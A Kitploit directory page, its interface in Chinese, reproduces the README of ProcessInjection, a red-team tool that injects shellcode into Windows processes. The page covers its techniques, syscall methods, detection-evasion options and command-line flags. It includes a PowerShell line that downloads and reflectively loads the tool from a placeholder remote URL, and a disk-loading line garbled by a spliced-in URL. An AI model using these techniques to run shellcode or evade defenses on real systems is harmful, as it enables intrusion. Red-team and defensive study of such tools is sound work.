Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ProcessInjection — 此程序旨在演示各种进程注入技术 | Kitploit
工具/GitHubGitHub/3xpl01tc0d3r/processinjection
权限提升加密/解密工具漏洞利用IDS/IPS规避后渗透利用学习与教育红队二进制利用
GitHub3xpl01tc0d3r/processinjection

ProcessInjection

此程序旨在演示各种进程注入技术

查看仓库
1.3k1911年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ProcessInjection


该程序旨在执行进程注入。 目前该工具支持 5 种进程注入技术。

root@kitploit:~
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection

该工具接受 4 种格式的 shellcode。

root@kitploit:~
1) base64
2) hex
3) c
4) raw

该工具支持 4 种进程注入方法。

root@kitploit:~
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls

支持 3 种检测规避技术。

root@kitploit:~
1) Parent PID Spoofing

Encryption
2) XOR Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
3) AES Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)

可通过反射加载。

root@kitploit:~
# Load from the disk
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/HEAD/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))

# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))

# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))

命令行用法

root@kitploit:~
Usage           Description
-----           -----------
/t              Specify the process injection technique id.
                1 = Vanilla Process Injection
                2 = DLL Injection
                3 = Process Hollowing
                4 = APC Queue Injection
				5 = KernelCallbackTable Injection
/m              Specify the method to be used
                p = P/Invoke (Default)
                d = D/Invoke
		ds = Direct Syscalls
		ids = Indirect Syscalls
/f              Specify the format of the shellcode.
                base64
                hex
                c
                raw
/pid            Specify the process id.
/parentproc     Specify the parent process name.
/path           Specify the path of the file that contains the shellcode.
/ppath          Specify the path of the executable that will be spawned (Mandatory while using /parentproc argument).
/url            Specify the url where the shellcode is hosted.
/enc            Specify the encryption type (aes or xor) in which the shellcode is encrypted.
/key            Specify the key that will be used to decrypt the shellcode.
/sc             Specify the shellcode directly in base64 or hex format. Note: To pass large shellcode please leverage reflection to run the program.  
/help           Show help

博客文章

https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html

https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html

https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html

https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e

https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html

https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html

贡献鸣谢

Renos

同样感谢:

Aaron Bray 与 Rasta Mouse 提供的 Process Hollowing 代码

The Wover 与 b33f 提供的 Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)

下载工具